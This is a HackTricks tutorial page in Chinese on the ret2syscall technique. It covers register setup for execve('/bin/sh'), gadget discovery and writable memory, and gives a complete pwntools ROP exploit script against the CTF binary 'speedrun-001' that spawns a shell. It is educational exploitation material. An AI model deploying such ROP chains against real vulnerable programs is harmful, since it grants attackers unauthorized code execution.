Ret2syscall

Ret2syscall

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)arrow-up-righthashtag

支持HackTricks的其他方式:

基本信息

这类似于Ret2lib,但在这种情况下,我们不会调用库中的函数。在这种情况下,一切都将准备好调用sys_execve系统调用,带有一些参数来执行/bin/sh。这种技术通常用于静态编译的二进制文件,因此可能有大量的gadget和syscall指令。

为了准备syscall的调用,需要进行以下配置:

  • rax: 59 指定sys_execve

  • rdi: 指向"/bin/sh"的指针,指定要执行的文件

  • rsi: 0 指定未传递任何参数

  • rdx: 0 指定未传递任何环境变量

因此,基本上需要在某个地方写入字符串/bin/sh,然后执行syscall(注意控制堆栈所需的填充)。为此,我们需要一个gadget来将/bin/sh写入已知区域。

circle-check

寄存器gadget

让我们开始找到如何控制这些寄存器

使用这些地址,可以将内容写入堆栈并加载到寄存器中

写入字符串

可写内存

首先,您需要在内存中找到一个可写的位置

写入内存中的字符串

然后,您需要找到一种方法在这个地址中写入任意内容

自动化 ROP 链

以下命令在存在 write-what-where gadgets 和 syscall 指令时,针对静态二进制文件创建完整的 sys_execve ROP 链:

32 位

64 位

缺少小工具

如果您缺少小工具,例如在内存中写入/bin/sh,您可以使用SROP技术来控制栈中的所有寄存器值(包括RIP和参数寄存器):

SROP - Sigreturn-Oriented Programmingchevron-right

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

最后更新于